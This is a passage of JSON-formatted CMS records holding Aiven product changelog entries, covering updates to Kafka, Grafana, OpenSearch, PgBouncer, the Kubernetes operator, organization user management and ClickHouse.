"},{"_key":"e8074ef92b852","_type":"span","marks":["38eb479cdc6f"],"text":"KIP-399"},{"_key":"e8074ef92b853","_type":"span","marks":[],"text":" and a versioned state store with "},{"_key":"e8074ef92b854","_type":"span","marks":["8cd430b2698b"],"text":"KIP-889"},{"_key":"e8074ef92b855","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"38eb479cdc6f","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-399%3A+Extend+ProductionExceptionHandler+to+cover+serialization+exceptions"},{"_key":"8cd430b2698b","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-889%3A+Versioned+State+Stores"}],"style":"normal"},{"_key":"06ceb70d7e77","_type":"block","children":[{"_key":"5f60f84bdd830","_type":"span","marks":["strong"],"text":"Bug fixes:"}],"markDefs":[],"style":"normal"},{"_key":"8dfb1f0b001b","_type":"block","children":[{"_key":"d65bcd24b7cb0","_type":"span","marks":["strong"],"text":"Fix for CooperativeStickyAssignor ("},{"_key":"d65bcd24b7cb1","_type":"span","marks":["e89e5419351a","strong"],"text":"KAFKA-14639"},{"_key":"d65bcd24b7cb2","_type":"span","marks":["strong"],"text":"):"},{"_key":"d65bcd24b7cb3","_type":"span","marks":[],"text":" This fix addresses an issue with the CooperativeStickyAssignor that could lead to unexpected results when running multiple consumers in parallel."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e89e5419351a","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-14639"}],"style":"normal"},{"_key":"1d1d2fa8555f","_type":"block","children":[{"_key":"6be9cc17685f0","_type":"span","marks":["strong"],"text":"Fix for rebalancing issues ("},{"_key":"6be9cc17685f1","_type":"span","marks":["7e73c5c7fc21","strong"],"text":"KAFKA-13891"},{"_key":"6be9cc17685f2","_type":"span","marks":["strong"],"text":"):"},{"_key":"6be9cc17685f3","_type":"span","marks":[],"text":" This fix addresses a bug that could cause consumers to rebalance many rounds before becoming stable."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7e73c5c7fc21","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-13891"}],"style":"normal"},{"_key":"bb2a4a9a7c8c","_type":"block","children":[{"_key":"7f6fe3d34c590","_type":"span","marks":["strong"],"text":"Fix for MirrorMaker 2.0 offset sync issue ("},{"_key":"7f6fe3d34c591","_type":"span","marks":["dab7ce5abf1b","strong"],"text":"KAFKA-12558"},{"_key":"7f6fe3d34c592","_type":"span","marks":["strong"],"text":"):"},{"_key":"7f6fe3d34c593","_type":"span","marks":[],"text":" This fix addresses a race condition in MirrorSourceTask where certain partition offsets may never be sent."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"dab7ce5abf1b","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-12558"}],"style":"normal"},{"_key":"9e2969861cc2","_type":"block","children":[{"_key":"c6de4d31d28f0","_type":"span","marks":[],"text":"To learn more about Aiven for Apache Kafka, see "},{"_key":"c6de4d31d28f1","_type":"span","marks":["21f8310c0284"],"text":"Aiven documentation"},{"_key":"c6de4d31d28f2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"21f8310c0284","_type":"link","href":"https://docs.aiven.io/docs/products/kafka"}],"style":"normal"}],"publishedAt":"2023-08-02T16:15:57.551Z","tags":[{"_key":"ad5f48bd5fed","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka now supports Apache Kafka version 3.5.0"} {"__i18n_lang":"en","_createdAt":"2023-08-03T15:41:00Z","_id":"7d50b549-6a64-48e5-b753-4de0a47e27ab","_rev":"Y4w8T7Ki4avn9TXXd42kBQ","_type":"changelog","_updatedAt":"2023-09-05T08:51:08Z","changeType":"new","description":[{"_key":"fe2e32fed4ef","_type":"block","children":[{"_key":"b4cfcc1117410","_type":"span","marks":[],"text":"Building on the organizations feature in the Aiven platform, organizational units, organization users, and groups are now generally available to help you centralize and streamline user and project management."}],"markDefs":[],"style":"normal"},{"_key":"0ab74bd0f11a","_type":"block","children":[{"_key":"824713d298ff","_type":"span","marks":["strong"],"text":"Organizational units"}],"markDefs":[],"style":"normal"},{"_key":"de4b67d31d14","_type":"block","children":[{"_key":"8c7271cfd4b8","_type":"span","marks":[],"text":"Organizational units give you another level of hierarchy to organize your projects and services. These can be used, for example, to easily split production and testing environments. "}],"markDefs":[{"_key":"87359192d672","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/projects_accounts_access"}],"style":"normal"},{"_key":"4fcf5021f5cb","_type":"block","children":[{"_key":"c9723e593fcc","_type":"span","marks":[],"text":"Learn more about how you can "},{"_key":"4dbc0ba70525","_type":"span","marks":["87359192d672"],"text":"use organizations and organizational units"},{"_key":"e57c951a1c6c","_type":"span","marks":[],"text":" to create a hierarchical structure that fits your needs."}],"markDefs":[{"_key":"87359192d672","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/projects_accounts_access"}],"style":"normal"},{"_key":"17bbd8b2649e","_type":"block","children":[{"_key":"df7c58328987","_type":"span","marks":["strong"],"text":"Organization users and groups"}],"markDefs":[],"style":"normal"},{"_key":"5c62d4f64b46","_type":"block","children":[{"_key":"5d26905868cb","_type":"span","marks":[],"text":"To reduce the administrative burden of managing users across many projects, users are now centrally managed at the organization level and can be added to groups. Organization admin invite users directly to an organization and then group them together, making it easier to control user access to projects and services."}],"markDefs":[{"_key":"92c6bc7d44f2","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-org-users"},{"_key":"0839666814d0","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/list-groups"}],"style":"normal"},{"_key":"b05bb26481a4","_type":"block","children":[{"_key":"f1084b88b981","_type":"span","marks":[],"text":"Get started with organization users by "},{"_key":"4ce9f630b152","_type":"span","marks":["92c6bc7d44f2"],"text":"inviting users to your organization"},{"_key":"48c5cc24767b","_type":"span","marks":[],"text":" and "},{"_key":"b39ea5efc3e1","_type":"span","marks":["0839666814d0"],"text":"creating groups"},{"_key":"3f50b6ff9c29","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"92c6bc7d44f2","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-org-users"},{"_key":"0839666814d0","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/list-groups"}],"style":"normal"}],"publishedAt":"2023-09-05T08:49:00.000Z","tags":[{"_key":"d647f3cfa62e","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Organization units, users, and groups are now generally available"} {"__i18n_lang":"en","_createdAt":"2023-09-21T07:01:41Z","_id":"af2cb97c-f4de-4127-8865-fb8761389979","_rev":"kaQ4ZWos4gq6sBfd7tHCFL","_type":"changelog","_updatedAt":"2023-09-21T09:50:48Z","changeType":"new","description":[{"_key":"4570244a179d","_type":"block","children":[{"_key":"9df32d8247740","_type":"span","marks":[],"text":"Aiven for Grafana has been upgraded to version 10. This version introduces several new features, but it also includes breaking changes.\n\n"},{"_key":"9df32d8247742","_type":"span","marks":["strong"],"text":"Breaking changes\n"},{"_key":"9df32d8247743","_type":"span","marks":[],"text":"\nTo ensure a smooth upgrade, review the list of breaking changes. For detailed information, see "},{"_key":"9df32d8247744","_type":"span","marks":["7aaee0171ad8"],"text":"Breaking changes in Grafana v10.0"},{"_key":"9df32d8247745","_type":"span","marks":[],"text":".\n\n"},{"_key":"21e3ded09834","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[{"_key":"7aaee0171ad8","_type":"link","href":"https://grafana.com/docs/grafana/latest/breaking-changes/breaking-changes-v10-0/"}],"style":"normal"},{"_key":"4628cfbdc99d","_type":"block","children":[{"_key":"e53da3f409890","_type":"span","marks":["strong"],"text":"Canvas panel:"},{"_key":"e53da3f409891","_type":"span","marks":[],"text":" A dynamic platform for data visualization is now generally available."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"827a80192e3b","_type":"block","children":[{"_key":"30f122c8b8490","_type":"span","marks":["strong"],"text":"Enhanced data source selection"},{"_key":"e691cdae5a0b","_type":"span","marks":[],"text":": A revamped process for data source selection, making it more intuitive and efficient."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ec20a7494936","_type":"block","children":[{"_key":"94e2ae44c5ae0","_type":"span","marks":["strong"],"text":"Time series regional support"},{"_key":"48571933132d","_type":"span","marks":[],"text":": Introducing time regions to the time series panel for improved data representation."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"09aeddf49d97","_type":"block","children":[{"_key":"46163f4dc3d40","_type":"span","marks":["strong"],"text":"Annotation filtering"},{"_key":"7580f81def74","_type":"span","marks":[],"text":": Refine and filter dashboard annotations for a clutter-free view."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7de7efb267af","_type":"block","children":[{"_key":"7419256a3ead0","_type":"span","marks":["strong"],"text":"Revamped log context"},{"_key":"33a32d52d5f7","_type":"span","marks":[],"text":": Experience a redesigned log context interface optimized for consistency and user-friendliness."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"575095285a1d","_type":"block","children":[{"_key":"e9161790d73d0","_type":"span","marks":["strong"],"text":"Multi-data source queries in Explore"},{"_key":"aaecf5a78cb8","_type":"span","marks":[],"text":": Dive deeper by querying multiple data sources concurrently in Explore."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"47505c182f4a","_type":"block","children":[{"_key":"8194528c7b1f0","_type":"span","marks":[],"text":"For a complete list of new features and improvements, see "},{"_key":"8194528c7b1f1","_type":"span","marks":["ebd56515b275"],"text":"Grafana v10.0 documentation"},{"_key":"8194528c7b1f2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ebd56515b275","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v10-0/#whats-new-in-grafana-v100"}],"style":"normal"}],"publishedAt":"2023-09-21T08:11:13.019Z","tags":[{"_key":"5d3ae44cc4c5","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana® version 10"} {"__i18n_lang":"en","_createdAt":"2023-08-31T06:38:12Z","_id":"da9a5076-d8ff-4eed-8703-c0d18d5d9e7e","_rev":"6SVjZAesGXll0xWW269f4z","_type":"changelog","_updatedAt":"2023-08-31T07:29:12Z","changeType":"new","description":[{"_key":"526b8f6dd9df","_type":"block","children":[{"_key":"5975a2f422640","_type":"span","marks":[],"text":"We are excited to announce that OpenSearch Security for Aiven for OpenSearch® is now generally available (GA). This suite of features improves data security by streamlining user access and permission management through the OpenSearch Dashboard."}],"markDefs":[],"style":"normal"},{"_key":"5c8fb72c1aa2","_type":"block","children":[{"_key":"451806a26d20","_type":"span","marks":[],"text":"\n"},{"_key":"50f884d7f9a4","_type":"span","marks":["strong"],"text":"Key features: "}],"markDefs":[],"style":"normal"},{"_key":"37b7854cf176","_type":"block","children":[{"_key":"c214b91c76890","_type":"span","marks":["strong"],"text":"Role-based access controls"},{"_key":"c214b91c76891","_type":"span","marks":[],"text":": Configure advanced security measures, including document-level and field-level security, along with user and role mapping to safeguard sensitive data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cee937e1848c","_type":"block","children":[{"_key":"cfbcfd83e4980","_type":"span","marks":["strong"],"text":"SAML integration"},{"_key":"cfbcfd83e4981","_type":"span","marks":[],"text":": Gain seamless access to your OpenSearch Dashboard via your preferred identity provider with our basic SAML integration."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8504293456a6","_type":"block","children":[{"_key":"8bd99befb4a20","_type":"span","marks":["strong"],"text":"OpenID Connect integration"},{"_key":"8bd99befb4a21","_type":"span","marks":[],"text":": Enhance your authentication options by securely authenticating and authorizing users through OpenID Connect."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"69b39bdbf81d","_type":"block","children":[{"_key":"d0ccf1eb3b750","_type":"span","marks":["strong"],"text":"Multi-tenancy support"},{"_key":"d0ccf1eb3b751","_type":"span","marks":[],"text":": Utilize OpenSearch Dashboard multi-tenancy to create isolated spaces for different tenants, each with unique permissions and data access levels."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f672bfdeb9f6","_type":"block","children":[{"_key":"15b736b543480","_type":"span","marks":["strong"],"text":"Audit logging"},{"_key":"15b736b543481","_type":"span","marks":[],"text":": Maintain a comprehensive audit trail with OpenSearch audit logs for compliance and policy enforcement."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a14a0dffc4e9","_type":"block","children":[{"_key":"28a25bf31c3e0","_type":"span","marks":[],"text":"For an in-depth understanding of OpenSearch Security, refer to "},{"_key":"28a25bf31c3e1","_type":"span","marks":["a59ca69aa2c5"],"text":"OpenSearch Security for Aiven for OpenSearch®"},{"_key":"28a25bf31c3e2","_type":"span","marks":[],"text":" documentation."}],"markDefs":[{"_key":"a59ca69aa2c5","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/concepts/os-security#"}],"style":"normal"}],"publishedAt":"2023-08-31T06:34:51.560Z","tags":[{"_key":"7f18769df2b6","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch Security for Aiven for OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2023-11-01T06:07:42Z","_id":"cbc854ef-f686-4dbd-9ec0-d34e41910e5c","_rev":"gpV4rQ1RP6Oi5x5QrKvBo3","_type":"changelog","_updatedAt":"2023-11-01T10:09:22Z","changeType":"new","description":[{"_key":"61c3a415cacf","_type":"block","children":[{"_key":"cbda80c0c20e0","_type":"span","marks":[],"text":"The PgBouncer connection pooler for PostgreSQL 1.21.0 is now available for Aiven for PostgreSQL®. It introduces new features, changes, and bug fixes."}],"markDefs":[],"style":"normal"},{"_key":"55183121d02c","_type":"block","children":[{"_key":"75ef946e45a00","_type":"span","marks":["strong"],"text":"New features"}],"markDefs":[],"style":"normal"},{"_key":"00cf7e60d920","_type":"block","children":[{"_key":"15fde624a40d0","_type":"span","marks":[],"text":"Introduces support for protocol-level named prepared statements: Using prepared statements together with PgBouncer can reduce the CPU load on your system."}],"markDefs":[],"style":"normal"},{"_key":"bae721b1d089","_type":"block","children":[{"_key":"b52ec6e215cd0","_type":"span","marks":["strong"],"text":"Changes"}],"markDefs":[],"style":"normal"},{"_key":"e91266d0c42f","_type":"block","children":[{"_key":"c6c1e04e01b10","_type":"span","marks":[],"text":"Improves security for default TLS settings and changes required for the FIPS compliance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"30118732b1f5","_type":"block","children":[{"_key":"cfcee1f08c570","_type":"span","marks":[],"text":"Discontinues support for UDNS."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f159f686f1b9","_type":"block","children":[{"_key":"11d53b72b6140","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"4fcb19226220","_type":"block","children":[{"_key":"ee92d61efd820","_type":"span","marks":[],"text":"Fixes the crash with error message "},{"_key":"50570884968f","_type":"span","marks":["code"],"text":"FATAL in function client_proto(): bad client state: 6/7"},{"_key":"cf494a7681db","_type":"span","marks":[],"text":" ["},{"_key":"ee92d61efd821","_type":"span","marks":["0a3a21f08b56"],"text":"#928"},{"_key":"52771cc442d1","_type":"span","marks":[],"text":"] (the bug introduced in 1.18.0)."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0a3a21f08b56","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/928"}],"style":"normal"},{"_key":"4bfc47f3e88a","_type":"block","children":[{"_key":"a683c31609ca0","_type":"span","marks":[],"text":"Fixes the crash with error message "},{"_key":"8ace975a9789","_type":"span","marks":["code"],"text":"FATAL in function server_proto(): server in bad state: 11"},{"_key":"da8caecd2957","_type":"span","marks":[],"text":" ["},{"_key":"a683c31609ca1","_type":"span","marks":["a5021c8e21a0"],"text":"#927"},{"_key":"53870c9e021d","_type":"span","marks":[],"text":"] (the bug introduced in 1.18.0)."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a5021c8e21a0","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/927"}],"style":"normal"},{"_key":"3d4470320c14","_type":"block","children":[{"_key":"00203a7c7c480","_type":"span","marks":[],"text":"Reduces cancellation sending log level ["},{"_key":"00203a7c7c481","_type":"span","marks":["bff0b9629c37"],"text":"#903"},{"_key":"6a9cf9d3ab7d","_type":"span","marks":[],"text":"]."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bff0b9629c37","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/903"}],"style":"normal"},{"_key":"f14979ae0588","_type":"block","children":[{"_key":"ef0fb79712540","_type":"span","marks":[],"text":"Fixes the slog log prefix for peers ["},{"_key":"ef0fb79712541","_type":"span","marks":["45149cb6813a"],"text":"#922"},{"_key":"7066adbd001a","_type":"span","marks":[],"text":"]."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"45149cb6813a","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/922"}],"style":"normal"},{"_key":"509c82c5f9f6","_type":"block","children":[{"_key":"612eaa8ab6a90","_type":"span","marks":[],"text":"Fixes typos in the docs ["},{"_key":"612eaa8ab6a91","_type":"span","marks":["624da10a213a"],"text":"#932"},{"_key":"b4ff8b264256","_type":"span","marks":[],"text":"]."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"624da10a213a","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/932"}],"style":"normal"},{"_key":"a31eef5416ea","_type":"block","children":[{"_key":"a60ad1cda6e10","_type":"span","marks":[],"text":"Fixes errors pointed out by the static analyzer ["},{"_key":"a60ad1cda6e11","_type":"span","marks":["55144fb4c560"],"text":"#943"},{"_key":"3061021eb232","_type":"span","marks":[],"text":"]."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"55144fb4c560","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/943"}],"style":"normal"},{"_key":"9b8f388a4d78","_type":"block","children":[{"_key":"179941e026280","_type":"span","marks":[],"text":"Prevents killing all waiting clients on temporary "},{"_key":"f4ce06555c7d","_type":"span","marks":["code"],"text":"FATAL"},{"_key":"8354f91975e2","_type":"span","marks":[],"text":" errors during logging in ["},{"_key":"179941e026281","_type":"span","marks":["1a198697e417"],"text":"#946"},{"_key":"358269d6beca","_type":"span","marks":[],"text":"]."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1a198697e417","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/946"}],"style":"normal"},{"_key":"d75ceb30f12e","_type":"block","children":[{"_key":"04be430774070","_type":"span","marks":[],"text":"Enables using the auto-database when a database in "},{"_key":"e5268716404d","_type":"span","marks":["code"],"text":"auth_dbname"},{"_key":"c521ffeced74","_type":"span","marks":[],"text":" is not explicitly configured ["},{"_key":"04be430774071","_type":"span","marks":["097413e7b651"],"text":"#921"},{"_key":"f2fc8d843467","_type":"span","marks":[],"text":"]."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"097413e7b651","_type":"link","href":"https://github.com/pgbouncer/pgbouncer/pull/921"}],"style":"normal"}],"publishedAt":"2023-11-01T06:07:00.000Z","tags":[{"_key":"379cab50c5ad","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"PgBouncer 1.21.0 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2023-05-09T09:08:16Z","_id":"c8bdacc2-e11b-4152-a926-9a206d05e551","_rev":"rpwBSMa1i11HwZnbWqaH5v","_type":"changelog","_updatedAt":"2023-09-21T19:13:41Z","changeType":"new","description":[{"_key":"b3c716f9e2e7","_type":"block","children":[{"_key":"f2ec0b07b1a70","_type":"span","marks":[],"text":"In this version, prefixes for secrets are now supported, letting you use the same service secrets for an application."}],"markDefs":[],"style":"normal"},{"_key":"557407943860","_type":"block","children":[{"_key":"8aa5749b7d270","_type":"span","marks":[],"text":"Prior to this release, using some service secrets at the same time could cause collisions between secret names. For example, using both Redis and Kafka secrets for the same application caused collisions for the "},{"_key":"af7cf8e9f18a","_type":"span","marks":["code"],"text":"HOST"},{"_key":"259d123e3abf","_type":"span","marks":[],"text":" and "},{"_key":"a902c3ad0d0d","_type":"span","marks":["code"],"text":"PORT"},{"_key":"19640f81d301","_type":"span","marks":[],"text":" variables. The same was true when using two different Redis services for one application."}],"markDefs":[],"style":"normal"},{"_key":"dda9fb35af1f","_type":"block","children":[{"_key":"e412a0d0caf90","_type":"span","marks":[],"text":"Now you can define a custom "},{"_key":"5cfb569edc60","_type":"span","marks":["code"],"text":"prefix"},{"_key":"d3e36238bb97","_type":"span","marks":[],"text":" for the secrets' keys in the "},{"_key":"8a9e9ead69ac","_type":"span","marks":["code"],"text":"connInfoSecretTarget"},{"_key":"81942ae23ab7","_type":"span","marks":[],"text":". ​By default, the "},{"_key":"062b7211aa54","_type":"span","marks":["code"],"text":"prefix"},{"_key":"b69c7f354cb7","_type":"span","marks":[],"text":" is the "},{"_key":"ef1ed3072a84","_type":"span","marks":["code"],"text":"kind"},{"_key":"d6643a4317ae","_type":"span","marks":[],"text":" name in all caps followed by an underscore."}],"markDefs":[],"style":"normal"},{"_key":"a6af72db968d","_type":"block","children":[{"_key":"5ed4254f5e4f0","_type":"span","marks":[],"text":"​For backwards compatibility, this release keeps all the old variable names, but these ​will be removed in a future release. Be sure to prepare your applications for this change."}],"markDefs":[],"style":"normal"},{"_key":"482aeff8116a","_type":"block","children":[{"_key":"30a4c6f1256c0","_type":"span","marks":[],"text":"For more information and example files, see the "},{"_key":"30a4c6f1256c1","_type":"span","marks":["75e3f09b4e75"],"text":"API Reference documentation"},{"_key":"30a4c6f1256c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"75e3f09b4e75","_type":"link","href":"https://aiven.github.io/aiven-operator/api-reference/index.html"}],"style":"normal"}],"publishedAt":"2023-05-11T09:39:00.000Z","tags":[{"_key":"384c1c5e6193","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Aiven Operator for Kubernetes version 0.12.0 now available"} {"__i18n_lang":"en","_createdAt":"2023-12-20T10:05:06Z","_id":"97423937-0324-49e5-938f-0565255fede3","_rev":"sg5cBJWkRHo7pkcz4PlS55","_type":"changelog","_updatedAt":"2023-12-20T10:05:06Z","changeType":"new","description":[{"_key":"3d361b4a7526","_type":"block","children":[{"_key":"f7cb699b9ede0","_type":"span","marks":[],"text":"Aiven for OpenSearch has been updated to version 2.11.1, offering a range of new features and enhancements. This update applies to both OpenSearch and OpenSearch Dashboards.\n\n"},{"_key":"75d58a30531a","_type":"span","marks":["strong"],"text":"What's new in OpenSearch 2.11.1:"}],"markDefs":[],"style":"normal"},{"_key":"1a3d9a4fd6ec","_type":"block","children":[{"_key":"1c820eae6b730","_type":"span","marks":[],"text":"Enhanced capabilities to manipulate and refine search results are now generally available with the release of search pipelines."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e2a121ed5ae7","_type":"block","children":[{"_key":"96efb5e909fd0","_type":"span","marks":[],"text":"The Neural Search Plugin, integrating machine learning language models to improve search accuracy and relevance, is now generally available."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2ad68fc4a1b3","_type":"block","children":[{"_key":"7a0b725409c60","_type":"span","marks":[],"text":"The Machine Learning Framework is now generally available in OpenSearch Service, offering full integration and simplifying the incorporation of external models for data analysis."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be301afe742c","_type":"block","children":[{"_key":"8981af3897d10","_type":"span","marks":[],"text":"Enhanced vector database functionality upgraded with Facebook AI Similarity Search (FAISS) for more efficient query pre-filtering, improving search precision."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3a8e463a1078","_type":"block","children":[{"_key":"0a3f1027be0f0","_type":"span","marks":[],"text":"Lucene byte-sized vectors now have advanced support, improving data storage and retrieval efficiency."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"547606161b69","_type":"block","children":[{"_key":"fe97b2984f860","_type":"span","marks":[],"text":"Improved index compression codec for efficient data handling and enhanced performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b8505c541f89","_type":"block","children":[{"_key":"08e9f3b72a830","_type":"span","marks":[],"text":"Support for "},{"_key":"79976f50e32f","_type":"span","marks":["code"],"text":"geo_bounds"},{"_key":"c59493a21c78","_type":"span","marks":[],"text":", "},{"_key":"9719d8d1ab9d","_type":"span","marks":["code"],"text":"geo_hash"},{"_key":"ad2390a0aab6","_type":"span","marks":[],"text":", and "},{"_key":"e7879baac746","_type":"span","marks":["code"],"text":"geo_tile"},{"_key":"21a3e2022dc9","_type":"span","marks":[],"text":" aggregations added to enhance geospatial data analysis."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"752e98197198","_type":"block","children":[{"_key":"276c8fe1572f0","_type":"span","marks":[],"text":"The new and improved hybrid query system and a built-in integrated normalization processor help enhance the relevance of search results."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9b52cf611dc2","_type":"block","children":[{"_key":"754585bd27a00","_type":"span","marks":[],"text":"Sparse retrieval for text-based vector search is now available, offering more focused and efficient search capabilities."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a74a1f9809bf","_type":"block","children":[{"_key":"b3333a8ec3320","_type":"span","marks":[],"text":"The OpenSearch search comparison tool, now widely available, allows for comprehensive and detailed analysis of search results."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6e0512cd8a7a","_type":"block","children":[{"_key":"5221db25b2fc0","_type":"span","marks":[],"text":"OpenSearch Dashboards enhancements:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"42c0f924b700","_type":"block","children":[{"_key":"d2cd0f8281f20","_type":"span","marks":[],"text":"Removal of AngularJS dependencies for platform modernization."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6caf05371dca","_type":"block","children":[{"_key":"8eb61e8d0a950","_type":"span","marks":[],"text":"Introduction of a new visual theme."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3300639a9c7d","_type":"block","children":[{"_key":"d70d1f5448620","_type":"span","marks":[],"text":"Enhanced availability during minor version upgrades."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9de8ed1de26","_type":"block","children":[{"_key":"9fbc5e2f77530","_type":"span","marks":[],"text":"For a comprehensive understanding of all the new features and improvements in OpenSearch 2.11.1, refer to the "},{"_key":"9fbc5e2f77531","_type":"span","marks":["6011c8981215"],"text":"OpenSearch Release Notes 2.11.1"},{"_key":"9fbc5e2f77532","_type":"span","marks":[],"text":". To upgrade to this version, apply the"},{"_key":"9fbc5e2f77533","_type":"span","marks":["be59c195915f"],"text":" service maintenance updates"},{"_key":"9fbc5e2f77534","_type":"span","marks":[],"text":". For information on Aiven for OpenSearch, see the "},{"_key":"9fbc5e2f77535","_type":"span","marks":["524d37da2e3d"],"text":"documentation"},{"_key":"9fbc5e2f77536","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6011c8981215","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-2.11.1.md"},{"_key":"be59c195915f","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/maintenance-window"},{"_key":"524d37da2e3d","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch"}],"style":"normal"}],"publishedAt":"2023-12-20T09:55:54.347Z","tags":[{"_key":"9c30b396b6d5","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch® 2.11.1 is now available on Aiven for OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2023-12-18T10:26:10Z","_id":"a5d7a4fc-7aad-4378-a8d0-2f3da3ef6b26","_rev":"Do3156plRwIXmiihO03LI5","_type":"changelog","_updatedAt":"2023-12-18T10:26:10Z","changeType":"improved","description":[{"_key":"e9dbe84abdf1","_type":"block","children":[{"_key":"0b3c68adc4710","_type":"span","marks":[],"text":"Aiven for ClickHouse® has been upgraded to version 23.8, which contains new features and a variety of fixes on top of release 23.3. See "},{"_key":"0b3c68adc4711","_type":"span","marks":["ebac5f0ef27a"],"text":"ClickHouse release notes"},{"_key":"0b3c68adc4712","_type":"span","marks":[],"text":" for all the details on what release 23.8 introduces."}],"markDefs":[{"_key":"ebac5f0ef27a","_type":"link","href":"https://clickhouse.com/docs/en/whats-new/changelog#-clickhouse-release-238-lts-2023-08-31"}],"style":"normal"},{"_key":"2aacc76b88d5","_type":"block","children":[{"_key":"109f43921ac50","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[],"style":"normal"},{"_key":"d10e497361ac","_type":"block","children":[{"_key":"ce7b257a07660","_type":"span","marks":[],"text":"Updated list of table "},{"_key":"8cbd9531f897","_type":"span","marks":["39ee96fba48a"],"text":"functions"},{"_key":"5c0d0e149d72","_type":"span","marks":[],"text":" and"},{"_key":"6cac4ff3ac6b","_type":"span","marks":["74cae254cc9e"],"text":" engines"},{"_key":"70a5be5d94ed","_type":"span","marks":[],"text":" supported in Aiven for 